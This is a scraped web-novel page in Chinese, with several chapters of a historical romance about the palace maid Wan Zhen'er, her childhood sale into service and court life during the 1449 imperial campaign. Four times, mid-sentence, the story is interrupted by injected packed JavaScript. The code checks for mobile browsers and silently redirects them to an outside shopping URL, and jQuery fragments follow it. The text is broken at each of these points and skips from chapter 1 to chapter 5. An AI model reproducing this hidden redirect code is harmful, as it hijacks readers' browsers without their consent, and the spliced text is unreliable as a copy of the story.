《小我十七岁的皇帝》 1. 第一场雪 该怎么和你说这个故事呢? 金黄琉璃瓦下,大明皇贵妃万贞儿捧着一个暖炉,静静望着远处新进宫的淑女们——太子选妃在即,不出意外的话,这些女孩里会有一人幸运的成为太子妃,或者是不幸。 万贞儿兀自望了一会儿,身后的宫人屏气凝神站着,仿佛只是红墙阴影的一部分。 风却把一声惊呼送了过来,循声望去,影影绰绰,瞧见一个女孩子向虚空伸手,似乎在笑。 她在笑什么呢?万贞儿心想。 于是万贞儿顺着那女孩子的目光抬起头,陈旧棉絮般灰灰暗暗的天,多了点不一样的光亮。 原来是落雪了。 紫禁城又一年的初雪。 早已过了伸手接雪的年纪,万贞儿只是静静地仰着头,任凭雪花坠落,有一片恰好落在她的深蓝色裘衣上,了然无痕。 刹那间,她想起曾见过的许多场雪。 譬如成化元年的春雪夜,小她十七岁的少年天子朱见深,跪坐在她裙边,仰着头,求她做他的妻子。 又譬如正统十四年冬,一个大雪纷飞的日子,瓦剌兵挟当时的天子打至北京城下,十九岁的她踏过泥泞不堪的积雪,将两岁的朱见深紧紧拥在怀里。自此之后,紫禁城的每一场雪,都是她与他共同见过的。 该怎么和你说这个故事呢? 或许可以从万贞儿记忆中的第一场雪开始。 宣德十年,青州大雪。 那年她四岁。 那年的雪落得很大。 掀开厚门帘,雪白得直刺眼睛,万贞儿半眯着眼,定了数息,方才适应了。有雪花片子扑在她粉扑扑的小脸上,凉凉的。 “把帽子戴上,仔细冻着。” 头上一重,娘亲王婉已经将一顶半旧不新的毡帽扣上来。这帽子原是娘亲的,顶好的料子,白狐皮!据说是娘亲出嫁时的嫁妆,除非逢年过节,娘亲轻易不拿出来戴。 万贞儿偶尔会拿着帽子,在铜镜前比划比划,可惜那帽檐太大了些,一松手,把眼睛都能盖住。娘亲瞧见了,直笑,说:“你别急,等上十年,你要出嫁了我给你塞在箱笼里。” 十年?那可是还有好多好多个冬天。万贞儿心里想着,有一点点沮丧,不过很快就被其他事吸引去注意力。 直到十几日前,娘忽然把那顶毡帽翻出来,拿着针线剪子,又是拆又是剪,细细密密缝。 万贞儿偷偷翻出改了一半的毡帽,往脑袋上试探着戴,嘿,竟然没有立刻沉下去遮住眉眼。 是为了她改的吗? 这时候她确定了,真是! 万贞儿那对乌溜溜的眼睛立刻弯起来,小兽一样抱住王婉的胳膊,亲昵地蹭蹭:“娘对我最好了。” 娘亲轻轻抿了抿嘴,想说什么,最终没说出口。只是怜爱的替万贞儿将帽子戴好,摸一摸她的小脸:“好看,我的妮儿戴什么都好看。” “真的,我照照镜子。镜子呢?” 镜子等家私大多收在箱子里了,好像是要搬家。 正翻找镜子,屋前爹爹万贵的声音响起来:“好了没有?时辰不早了。” 娘亲赶紧拉着万贞儿走出去:“来了。” 走出去,爹爹沉着一张脸、背着手站在那里。瞧见妻子担忧的眼神,勉强挤出一丝笑。 “再不走,庙会的热闹要散了。” 一家三口去逛庙会。 除夕刚过去不久,雪渐渐小了,街上越发热闹。逛庙会的,走亲戚的,闲着无所事事的。也有乡下人到县城来,趁热闹做生意,挑着自家养的鸡鸭来卖,吆喝声混杂在一起。 万贞儿左看看右瞧瞧,嗅见丝丝甜香,像是糖的香气,若有若无。她猛吸一口气,张望了一圈,眼睛亮起来:“爹,有卖糖瓜的。我吃一个好不好?就一个。” 在家里,爹是说一不二。平常不许她吃太多糖,一来是怕吃坏了牙齿,二来爹爹似乎不太顺遂,连过年的开销都是靠典当行支出来的。万贞儿年纪虽小,却也察觉到这点。因此这时候的语气也带了点小心翼翼。 爹低头看了她一眼,牵着她的手径直往卖糖瓜摊子走。 “拿两个糖瓜。” 万贞儿惊喜地瞪大了眼睛。 竟然有两个欸! 爹娘真好! 新做出来不久的糖瓜,淡黄色的糖拉成小南瓜的模样,很好看。万贞儿左手一个,右手一个,乐得像掉进米缸的小老鼠。 逛了许久,吃了一个,另一个仍好好包着,预备着之后几天再吃。 万贞儿心里满满当当是爹娘陪着,吃到糖瓜的喜悦。不知不觉,爹爹停下了脚步,她也跟着停下脚步。看见一双结实漂亮的长靴。 爹爹朝那双靴子弯腰,语气是万贞儿很陌生的。“给大人请安,大人这一向好。” 长靴一动不动,懒洋洋道:“就那样吧,这就是你说的那个?” “是,是,正是小女。” 一双手把她往前推,是爹爹的手。另有一双手拉着她,却最终松开,是娘亲的手。 万贞儿懵懵懂懂,被推了出去。 穿长靴的人上下打量了她一番,捏住她的脸,看了看乳牙。 “不错,是个美人坯子。” 那人向爹爹道:“你官运不济,倒有个好女儿,怪道敢做国舅爷的梦,也说不准。” 爹爹微弯着腰:“还要承蒙您多关照。” “行了,上车吧。” 一辆骡车静静停在路边。 娘亲喃喃道:“这么快……” 穿长靴的人斜眼:“怎么,不乐意,那算了。” “没有,没有。妇人懂得什么。”爹爹声音急促起来,立刻弯腰把万贞儿抱上骡车。 很干净的骡车,搭着暖棚,不至于冷风呼呼吹。可那暖棚遮住了光,框住一片昏暗。骤然置身于昏暗,万贞儿有些害怕,拽着爹的手不放,喊了一声“爹”。 爹爹停了一瞬,把她的手扯开。大人真用上力气,小孩子的无赖就失效了。手掌心爹娘的温度顷刻间失去了。 爹爹说:“乖,贞儿。你跟着大人去好吃好玩的地方。” “那你们呢?”万贞儿转而去看娘亲。娘亲站在那里,张望身侧,似乎想拿什么东西塞过来,然而两手空空,什么都没有。 “什么好吃好玩的,我不要,我要回家。”万贞儿闹起来。 爹爹皱起眉,呵斥:“你怎么管孩子的。” 娘亲只得上前,抱住万贞儿,哄道:“没事,你先去。我们不是要搬家了吗,东西很多,回头拿了就去找你。你去大人家玩一会儿,还得麻烦大人照顾你呢,听话。” “听话”这两个字,是时常听见的,万贞儿发觉每每她做到这一点,爹娘仿佛就轻松一点。 于是这次她也听了话,撇着嘴坐稳了。 “那,早点来接我。” “……好。” 骡车厚重的帘子彻底放下,视线变得昏沉。万贞儿寻了个角落蜷缩着。很快,车厢里颠簸起来,骡子脖子上的铃铛叮叮叮响,空气里飘荡着不透风的难闻味道。 有点让人害怕呢。 万贞儿摸摸怀里爹给买的糖,把娘给的毡帽往下拉了拉,稍稍有点心安。 骡车不知道走了有多久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956464|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万贞儿都睡着了。再度停下,又上来一个小女孩,看着比她大一点。 在枯燥的车厢中忽然多了一个同伴,万贞儿好奇看着她。 可是那个小女孩梗着脖子,不说话。 过了一会儿,在摇晃的骡车里,万贞儿小心翼翼地开口:“你也是去大人家玩的吗?” 小女孩不耐烦道:“什么玩,大人们骗小孩的话。” 什么意思? 万贞儿偏着头,流露出疑惑的神情。 “还不明白吗?你爹娘把你卖了。笨蛋。”小女孩冷笑一声。 像是凭空有爆竹在骡车上噼啪炸开,万贞儿愣住了。 爹娘方才的异样,穿长靴人看牙口的动作,以及街上卖鸡鸭的人的吆喝声杂糅成一团。 万贞儿摇摇晃晃起身:“你胡说!我要回家去。” 没有人理她。 “我要回家!” 万贞儿摸索到车边,硬是扯开了帘子。 骡车依旧向前,碾过泥泞不堪的积雪。车帘外,陌生的山野村道不断后退,离人烟越发远了。这骡车简直像离岸的舟,遥遥的静静地在苍茫海上移动着。 又下雪了,纷纷扬扬的大雪,天色昏暗,棉絮一样的天,雪都显得阴沉沉。 风拍打在她脸上,又疼又冷。 要往家去。万贞儿朦朦胧胧只这一个念头,心一横,直接往下跳。 女孩子的惊呼声中,万贞儿身上的糖瓜一同坠地,淡黄的糖瓜,在雪地里四分五裂,散落成无数小片。 白茫茫的,一望无际的旷野上,这样一点碎落的糖,很快就被大雪所覆盖。 后来,万贞儿有很长一段时间,都会梦到那天的雪。 又一次从这梦魇中惊醒,万贞儿猛地睁眼,一颗心狂跳不已。 等意识渐渐清明,自己都觉得自己没出息。 都十八岁,快十九了,还在为四岁的隆冬做噩梦。 万贞儿轻叹着摇了摇头。 天色刚刚破晓,给这间双人的宫女居室些许暗淡的光亮。 今天不是她们这一班当值,可以睡得略微久些。然而万贞儿从梦中惊醒,委实没了睡意,索性起身,蹑手蹑脚起身,往屋外走去。 屋外,是正统十四年的盛夏。 万贞儿环抱手臂,倚着门儿,静静等待日出。 她是正统元年来到紫禁城的,走的时候,年号还是宣德。路上走到一半,忽闻国丧。耽搁了些日子,又住下几个月,筛选了几轮,仔细检查身体状况、睡相吃相、说话谈吐。譬如当时那个最早与万贞儿同车而来的女孩就因为背后有胎记被筛了出去,总之折腾了一番,终于进宫。 那位长靴子大人,原是宫中的太监,与爹爹万贵是同乡,或许少年时有什么情谊,愿意把万贞儿带到京城来,让她成了一名小宫女。 恰巧当今太后孙氏也是山东人士,见她生得可爱,又说得一口乡音,便让她在身边伺候。也没受什么磋磨,衣食无忧。 算算日子,万贞儿在宫里的年岁,已经比在宫外要长上几倍。这些年,她有好好的、努力让自己长大。 今日,便是她十九岁的生辰。 东方破晓,第一束日光照耀在她年轻的脸庞上。 被这样和煦温暖的日光笼罩着,方才梦中的惊慌失措,渐渐淡去。 万贞儿缓缓吐出一口气,伸出手,日光盈满掌心。 幸好,人世间除了经年不化的大雪,也还有日光。 她懒懒晒了一会儿太阳,直到有宫女进来,笑晏晏同她打招呼。 “贺万姐姐芳辰,我们周娘娘请您过去。” 5. 号角声 朱祁钰从未将监国两个字和自己联系到一起过,这时候皇兄忽然提起,他第一反应是: 皇兄是不是在试探我? 然而仔细看了看他的脸色,发现并无什么特别,倒是有些类似小时候读书,要他代写大字时的神情。 他稍稍定了心神,道:“臣弟愚钝,怕难当此重任……” “怕什么,再说,你哪里愚钝了。”朱祁镇一拍他的肩膀,爽朗道,“皇兄知道你有内秀,且一向忠心耿耿,换做其他人,朕还不会这么做呢。” 他笑起来:“再有,也是想让你帮忙照看一下母后。她呀,总会有操不完的心。从前父皇出征时就这样,现在换了我,可能只会更担心?完全没必要。” 因郕王一向乖巧,孙太后平日里待他也不错,暂住宫中,也方便陪着说说话。 朱祁钰斟酌着,缓缓道:“这个,臣弟似乎听说,有些人似乎有些议论,对于御驾亲征之事有些担忧。” 宫门外跪着的大臣就杵在那里呢,想都不用想就是劝万岁爷收回成命的。 “祁钰,你就是太讲规矩,太文气了。”朱祁镇的笑容淡了,“文气是好事,可太过了,就容易被人拿捏,被那些满口大道理的老先生们摆布。他们说什么,你就听什么,那怎么行?监国期间,你要有主见。” 他想到那些朝臣,冷哼了一声:“他们恨不得你什么都不做,天天坐在那里当个瑞兽。哼,朕才不是他们可以摆弄的。” 朱祁钰肩膀微微缩了一下,不知如何作答,只喃喃道:“臣弟知道了,谨记皇兄教诲。” 气氛稍有些沉默,朱祁镇想了想,要朱祁钰起身:“光说这些没意思。走,陪朕活动活动筋骨!” 不容分说,拉着朱祁钰便往乾清宫后的小校场去。那里常年备着弓箭,是皇帝偶尔习射之处。夜幕降临,四周点起了灯,照得一片通明。黑色的影就在这光亮中安静蛰伏。 朱祁镇将一张黑漆描金开元弓塞到弟弟手里:“来,试试力气。” 这张开元弓是大弓,朱祁钰一看,笑容里就带着点苦,只是皇兄给的,不能不接,只好试着去拉开。费了吃奶的功夫好不容易拉开,胳膊却颤抖不已。 “不行啊祁钰,”朱祁镇哈哈笑道,“朕不在的这些日子,你在宫里得空练练。文治武功,不可偏废。”他指了指不远处的箭靶:“等朕回来,你要是拉不开这开元弓,射不中靶心,朕可要罚你。要是中了,朕有赏。” 说着,另外拿了一把类似的开元弓,张弓搭箭,“嗖”一声,箭破空而出,正中靶心。 左右侍立之人立刻欢呼起来。 “好!” “万岁爷神力!” “此乃吉兆啊!” 朱祁钰握着手中对他而言明显过于沉重的弓,掌心里全是汗。他抬眼看向皇兄,灯下,朱祁镇的眼睛显得格外锐利明亮,盛满跃跃欲试的雄心和一种近乎天真的笃定。 夜风轻轻吹,穿过高高的红墙,从前朝到后宫。 快到宵禁时分,太后已经安歇。 万贞儿蹑手蹑脚从寝殿踏出,绷着的弦松了一口气,有心情抬头望一望夜空,看看有没有星星。 今夜云有些厚,把月亮都遮住了,星星也不明显,不知道明天会不会下雨。 她扭动了一下脖子,步伐轻快地往后走。 后院左右偏殿常用来放东西,廊子底下摆了铜茶炊,一天十二个时辰都点着炭火。宫女内侍们常在这休息吃点心。 万贞儿走过去,只见已经铜茶炊前已经三三两两围着人,都是才下值不久的。或捧着热茶,或拿着块点心,低声聊着天。 “听说了么?真是明儿个一早就开拔了。”一个圆脸宫女用气声道,“说是车马都在连夜准备呢,匆匆忙忙的,御马监急得火烧眉毛一样。” “这么急?”另一个瘦些的蹙着眉,“不还说在议么?就是搬个家也得提前十天半个月筹备,哪能说走就走?” “切,你们懂什么,军机军机,重要的就是时机。机不可失时不再来。” 一个内侍的声音响起来,原先说话的瘦宫女被这一反驳,有点想骂人,扭过头,到嘴的脏话又咽下去。 说话的是王福,一个十来岁的小宦官。他穿着半旧的衣裳,正捧着茶杯暖手,脸上带着点竭力掩饰却仍透出的矜持。他是新近调来清宁宫的,据说是认了司礼监某司的一个小内官某个做“干爹”,“干爹”又有“干爹””干爷爷“,七弯八绕,最终竟然跟大太监王振沾上了亲。 王振何许人也? 在外朝,大小官员尊内阁首辅为首,虽无丞相之名,但人称外相。在内朝,十二监尊司礼监太监为首,王振便是内相,深得万岁爷宠幸,甚至像叫内阁阁老一样,叫他先生。 有了王振做靠山,王福在清宁宫也是腰板子挺直的。 此刻王福说了话,立刻有一个小内侍附和道:“那是,王先生肯定会料理妥当,时机为先。“ 见有人赞同,王福清了清嗓子,道:“干爹前儿倒是提过一嘴,说老祖宗为国事真是操碎了心,这次随驾亲征,也是耗费了许多心神。” 旁边的纷纷附和: “那是自然,王先生是皇爷最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956468|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信重的人。” “有王先生跟着,定是马到功成。” “小公公您也是有福气的,将来前程远大……” 王福听着这些恭维,嘴角弯了弯,又赶紧压下去,只谦逊地摆摆手:“不敢当,不敢当,都是主子们的恩典。” 万贞儿站在稍远些的阴影里,有点想笑。 这个小福子,如今倒是日子好过了,还抖擞起来了。 万贞儿走过去,从柜子里取出自己的盖碗,打算添些水。 那边被围着的王福借着灯影瞧见了她,忙上前提起沉重的大水壶:“万姐姐,添些热水罢。” 万贞儿有些意外,道了句谢,走到一旁倚着墙歇息。默默望着他们继续闲聊。微亮灯火下,王福越发说得眉飞色舞。议论着明日开拔的盛况和王振的聪慧。 她认得王福,更早几年,他还不是这体面模样,只是个刚净身入宫、分去洗涮夜壶的小内侍,瘦得像根豆芽菜,因手脚慢、不懂规矩,常被年长的内侍责罚克扣饭食,缩在廊下饿得偷偷抹眼泪。万贞儿撞见之后,偶尔送些馒头与他吃。不过已经过去很久了,看他方才的举动,想来还记着。 等到宫人们歇息完,各自回居室,万贞儿路过王福身侧,亲声说:“你既然叫我声姐姐,我就说句讨嫌的话,王先生是贵人,可贵人身边,风浪也大。咱们底下人,安稳最要紧。有些话说多了反而不好,还是踏踏实实做事。” 王福面露疑惑,看得出稍稍有些不赞同,但还是点头:“谢万姐姐,我知道的。” 万贞儿没再说什么,自己走自己的路去了。 回到居处,梳洗,吹灯,睡下,一天又过去了。 这夜万贞儿倒是没做梦,睡得安稳,直到隐隐听见响动。 睡意惺忪,她仔细听了听这陌生的声音,那声音沉厚、悠长,一声,又一声,似乎是号角声。 万岁爷要开拔了吗? 她心里想着。 紫禁城的外朝,此时应该很热闹吧?未明的天色,黑压压的人群与马匹,旌旗在晨风中卷动,甲胄摩擦发出冰冷的声响。万岁爷大概会穿着盔甲,骑在马上挥鞭…… 在朦朦胧胧的号角声里,她想象着那副场景,可是,其实她什么也看不见。 睁开眼,万贞儿能瞧见的,只有青灰色的帐幔顶子,以及晦暗的夜色。 那号角声遥远的像是来自另一个世界。 只是后来她才意识到,那些看不见的一切,会将她的生活搅得天翻地覆。 那是后来的事。 现在,她翻一个身,继续沉沉睡去。 6. 差事 皇帝出了宫御驾亲征去,宫里的日子还是照常过。只是稍稍有些混乱。 万贞儿才到值房,就听见一个宫人抱怨:“这样干冷的馒头,谁吃?” 寻常值房里间会备一些吃食,供当值的宫女内侍取用。到底是太后宫中,也不至于过于寒酸。早膳会备一个大攒盘,摆着寻常面点,也有两三样粥。可是今日,只有一屉馒头,一海碗米粥,显然要差上许多。 负责宫人膳食的膳房小内侍急得额头出汗,忙解释:“这位姐姐,劳烦对付一口。万岁爷出征赶得急,许多东西和人手全被匆匆喊过去帮忙了。” 皇帝亲征,光是从京城里带走的亲兵就不在少数。事出突然,之后的军粮或可推脱给地方,出征这两天的供给怎么着也得供足了。为了这事,二十四衙门要忙疯了!通宵红着眼赶制。孙太后宫中还算安稳,有的偏僻处的宫室,烧水的炭都要等着。虽然说大军已经开拔,但挪用的东西总要些时辰才能补齐。 “这样的膳食也不像话吧,论短着谁,也不该短着咱们宫里……” 那厢啰啰嗦嗦,这厢万贞儿倒是懒得在意,抱怨与否都是这个样子了,还不如等下一顿。 她随手拿个馒头配着茶吃两口,按部就班当值去。 同魏姑姑打了招呼,领着小宫女,拿出对牌领钥匙去库房取衣裳头面。通常会提前五日将遵时令的衣裳头面备好,以供太后选用。 库房西间满满一墙紫檀大柜,“咔哒”一声响开锁,柜门缓缓打开,一股混合着木香、防蛀丸药气息和淡淡脂粉气的混合气息扑面而来。 里面层层叠叠放着各色衣裳,丝绸的、缎子的、缂丝的,桂花纹、如意纹……林林总总,分门别类。随四季更换。 万贞儿扫了一眼,指了几件颜色柔和,纹样吉祥的,以素净大方为主。 皇帝出征,太后大约也无心思打扮得过于鲜亮。 衣裳挑完,轮到挑首饰头面,这是万贞儿格外喜欢的时刻。无论多少次打开专放首饰头面的剔红嵌宝石盒子,她都会惊叹于各色头面的美。 多好看呀,如同海水般深邃的蓝宝石,自遥远边地进贡的孔雀石,镶嵌在造型各异的金簪银簪上。漂亮的首饰总是令人愉悦的,纵使这辈子估计都戴不上,但光是看着就令人心情愉悦。 她的指尖轻轻从这些宝石头面上掠过,最终选定了几样,用黄底缎子包着置于托盘之上。特意挑了一个佛祖造型的挑心。 太后梳妆时,果真选了那个佛样挑心,安安稳稳簪在金丝?髻正中,求个平安的好兆头。 皇帝出征,身为母亲的她总是有些担心的。 万贞儿轻手轻脚替孙太后将鬓发理好,魏姑姑从外间进来,轻声禀报:“皇后娘娘过来请安了。” 孙太后的秀眉皱了皱,心想钱氏热络的惹人烦,偏挑这个时候来。本来皇帝出征她就有些不爽快,一大清早还有人打扰,更加有些烦。 无心思去敷衍,孙太后随口道:“说我正梳妆,有事,让她在偏殿坐坐。” 这就是要晾着她了。 魏姑姑踌躇片刻,讲:“皇后娘娘似乎眼圈有些红。” “这哪里像个皇后的样子,”孙太后道,“皇帝亲征,她倒哭起来,显得不吉利。我们那会儿,先帝爷也出征,从没哪个娘娘作这副神态。让她回去。” 魏姑姑答应一声,脚下却纹丝不动,只瞥了万贞儿一眼。 这打发皇后可不是什么好差事,皇后毕竟是中宫之主,身份尊贵,又带着忧惧而来,若是言辞或态度拿捏得稍有差池,惹得皇后不快或是更添伤心,日后总归是个隐患。太后可以不在意,她们这些底下人却不能不小心,弄得不好要结怨的。 显然,魏姑姑不打算接这个烫手的山芋。 万贞儿有些无奈,奈何魏姑姑的地位放在这里,太后娘娘面前也不好争辩,只得说“奴婢去瞧瞧”,而后出去。想了想,先去清宁宫茶房要了一盏七宝茶和一碟子茶点。 到前头一瞧,皇后娘娘穿着藕荷色常服,温温柔柔坐在那里,衣裳妆容并无不妥,只是用过粉黛的一张脸仍能看出昨夜哭过的痕迹,眼皮微微有些肿。她端坐在紫檀圈椅里,眼神微微放空,不知道在思索些什么,总归不会是什么愉快的事,因为朱唇紧紧抿着。 万贞儿走过去,欠身行礼:“奴婢给皇后娘娘请安,娘娘万福。” 钱皇后回过神,认出是太后身边的贴身宫女,于是微微颔首:“免礼,起来吧。” 声音娟细,柔柔弱弱的。 万贞儿浅笑道:“娘娘孝敬,一大早就来请安。只是因万岁爷出征,太后娘娘有些忧心,睡得不安稳,此刻还歇息着。吩咐奴婢过来。” 一面说着,一面从身后宫女的托盘上取了茶,双手捧着恭恭敬敬递到皇后面前。 “这七宝茶有安神功效,是太后宫里特意调制的,您试试,看是否还要加些蜂蜜。” 钱皇后接过茶盏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“谁知道呢,不过娘娘得保重自己,稳住心神,这宫里宫外,多少双眼睛都看着娘娘呢。若是娘娘忧思过度,凤体不安,岂不是让远行之人更加挂心?” 话虽朴实,却句句在理。钱皇后听了,怔了怔:“你说的也是。” 万贞儿见她听进去了,继续道:“若真担心,或许也可在小佛堂试着供灯呢?抄经念佛,也是祈福。” “你说的很是。”钱皇后点头道,“回去我就多做些佛事,也是给万岁爷和我两个不成器的兄弟祈福。” 有了事可做,钱皇后的心神明显安定了些。 万贞儿又陪着说了两句话,恭恭敬敬将人送出清宁宫。 直到钱皇后的身影消失在殿宇之中,她才终于松了口气,这不讨好的差事也算做完了。 7. 郕王妃 转眼就到了午膳时候。 这里的宫人,都是等到太后用过午膳,歇午觉时,匆匆吃几口午膳的。 这会儿太后午睡,万贞儿连同一众宫人终于能在直房用饭。许是因为万岁爷出征的缘故,今日的午膳太后只略动了动筷子,剩了大半。宫里的规矩,主子们用不完的菜,多是赏给近身侍候的,虽是剩的,但到底是御膳房精心烹制的,比寻常宫人的份例强上许多。 万贞儿就着一碗蒸香稻米饭吃了两块锦缠鹅脯,好吃到眼睛眯起来。虽然放得久了,鹅脯已经冷了,但毕竟是暑天,这样吃凉的反倒更适口。 肉还在嘴里嚼着,外头帘子一掀,魏姑姑走了进来。万贞儿忙同其他宫人一样,将手中箸儿放下,起身相迎。 魏姑姑摆了摆手,让他们都坐下。到底太后在午睡,这是第一要紧事,谁也不敢发出大响动惊扰。 万贞儿复又坐下,正要重新举起箸儿,魏姑姑却径直走到身边,低声道:“吃完了到我直房来一趟。” 不是吧?还有事? 万贞儿只觉那鹅脯的好吃程度降低了几分,但仍吃完了,将碗筷收拾了,快步往魏姑姑直房去。 作为清宁宫的管家婆子,魏姑姑的直房有两间房阔,一边摆了桌椅,另一边摆了床铺。万贞儿来这里也是来熟的。自打她五岁进清宁宫伺候,魏姑姑就已经是管家婆了,在她面前站着,有一种顶头上司兼严厉长辈的紧张感。 小时候,她和尚未宫女的周盼儿淘气或者做了出格的事,可没少到这里领罚。总之一往这儿来,就有些淡淡的紧迫感。 直房里,魏姑姑正坐在炕沿上,手里拿着一本册子在看。看见万贞儿进来,放下册子,指了指对面的杌子:“坐。” 万贞儿道谢,挨着半边杌子坐下,一副恭敬的样子。 魏姑姑仍板着张脸,道:“上午的事,你办得妥当。到底还是长进了。下午,还有桩事,你等会儿去办了吧。” 她顿了顿,说:“申时初刻,郕王妃进宫,你去迎一迎,领着她请安、安顿好。” 万贞儿眉心一跳。接引进宫请安的王妃,这是有油水的好差事。王妃们进宫,按例都会打赏接引的宫人,若是遇上阔绰的,赏个三五两银子、甚至金瓜子也是有的。更何况这位郕王妃还是要进宫小住,赏钱更是少不了。 这大约是魏姑姑的“赏”了,她这个人心里明镜似的,哪里亏了,哪里该补,都有本账,因此清宁宫人人服她。 万贞儿笑起来:“谢谢姑姑。” “不必谢,左右你要把差事办好。”魏姑姑淡淡道,“你接引时,礼数要周全,话却不必多。请安之后送到宫室,自有那里的人接手伺候。” “贞儿记得了,一定好好迎郕王妃安顿。” 郕王妃汪氏,万贞儿和她一向没打过什么交道。去等候迎接的路上,仔细想了想这位郕王妃的情况。出身世代为金吾卫指挥使的汪家,一年前生了个女儿,之前年节时来清宁宫请安,仿佛性子有些清冷,不大爱说话。但为人温和有礼,应当不难相处。 在进内宫的宫门旁等待一会儿,一顶青帷小轿在宫人跟随下缓缓进来。 轿帘打起,一位年轻女子弯腰出来,约莫二十出头,瘦长脸型,下颌微微有些方,但因此有种倔强的美感。 万贞儿迎上去行礼:“王妃万福,奴婢清宁宫万贞儿,特来迎您进宫。” 郕王妃抬手虚扶了扶万贞儿:“有劳姑娘。”声音和人一样,也是清淡淡的。 万贞儿引着人往清宁宫去。这位郕王妃只顾走路,并不说话,万贞儿索性也就不说话了。一时间只闷头向前。 郕王妃到底是武官家的女儿,步子迈得快,万贞儿只得加快了步伐以免跟不上。 到了清宁宫,郕王妃照着规矩给太后请安,寒暄了两句。 孙太后把玩着手上的如意珠串,道:“皇帝出征,郕王监国,你们就安心在这里住下,不用拘谨,有什么事,使宫人告诉我就行。” “是,一切听太后娘娘的。”郕王妃低眉道。 “行了,你既然进宫来,这里请了安,也该去吴太妃那里请个安。” 吴太妃乃是郕王生母,照礼数,郕王妃是该去拜见。 于是万贞儿又领着郕王妃往吴太妃宫中去,吴太妃亦是宫人出身,先帝爷在时并不受宠,所幸生了郕王,封了贤妃,也算是有所依靠。她在宫中一向深入简出,像是一棵树一朵花,绝不会惹眼。 吴太妃的宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956470|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室亦是装饰简朴,全是半新不旧的颜色浅淡的帘子帐子。 万贞儿引郕王妃请安时,吴太妃正在拜观音,殿内飘散着淡淡线香气息。即使来的是亲儿媳,她的目光不过扫了一眼,迅速移开,继续望着观音的方向。 “既然是万岁爷和太后娘娘开恩,许你们在宫中暂住,那就得感念恩德,恪守规矩,别添麻烦。” “儿媳知道。”郕王妃回答。 静了一会儿,吴太妃问:“小郡主还好吗?” “还好,已经能自己站着了,就是不敢走。” 吴太妃想象着孙女的模样,大约很像祁钰吧?嘴角不自觉有一点笑,又压了下去,说:“我挺好的。你告诉祁钰,不必挂念,既然是为万岁爷当差,就好好的做事,也……少过来,我这阵子正清修呢。” 郕王妃有些诧异地看了她一眼,答应了。 万贞儿在一旁垂手静静站着,低垂着头,听见了这对婆媳的对话,原本也有些惊讶,下一瞬就明白过来。 吴太妃大概……是害怕给郕王夫妇带来麻烦,要他们少来看自己。 可怜天下父母心。 请安很匆匆地就结束了,万贞儿领着郕王妃往打扫出来的宫室去。 人走了,吴太妃反倒丢开那尊观音像,倚着宫门眺望了片刻。 此刻,祁钰也在宫里吧?应该是在前朝办事。这孩子,此刻心里怕是忐忑着。 本朝自开国以来,藩王与皇帝之间,闹得难看的不是一回两回了。远的如永乐故事,近的如先帝爷时的汉王之乱,都是些血淋淋的冲突。如今皇帝虽然看着仁厚,可是万一呢? 孙太后看着温和,可是能让先帝顶着压力硬要废后再立之人,难道是什么泛泛之辈? 朱祁钰是她唯一的孩子,她就是不要这条命也希望祁钰平安。 所以,少来看她,把孙太后当做自己亲娘一样侍奉,仿佛她不存在,安安稳稳的,这样就很好。 望着渐有暮色的红墙上的一方天,吴太妃长长地吐了一口气。 我的儿,娘帮不了你什么,只求不给你添麻烦。只求你平平安安、健健康康的。 但愿万岁爷早些得胜归来,祁钰他们也能出宫去过舒坦些的日子。 8. 变故 黄昏时分,万贞儿看着郕王妃安顿下来,便屈膝告辞:“奴婢先回清宁宫了,若有什么事,随时差遣。” “有劳姑娘了。”郕王妃亲自从袖中取出一个小荷包,沉甸甸的。 万贞儿估摸着数量不少,推辞道:“这是奴婢分内的事,无功不受禄。” “你一路领我安顿,都很周到,收着吧。”郕王妃坚持把荷包塞到她手里。 推来推去,终于是收了。 万贞儿道了谢,瞧见郕王妃似乎也松了一口气。 她似乎也不大擅长这些人情往来的事,万贞儿心想。将心比心,以藩王妃的身份入宫暂住,大约是忐忑的。 于是万贞儿声音里多了几分真诚:“王妃且宽心。太后素来待人和睦,管理有方,宫中规矩虽大,但只要守着本分,不会有什么的。” 郕王妃颔首:“我想也是。” 从郕王妃那里出来,天色已暗,正是上灯时分,一路走回来瞧见不少灯火。 在无人处,万贞儿解开荷包看了眼,足有五个二两重的小银锞子,成色极好,不是那些掺了杂料的银。 这出手可是大方了。 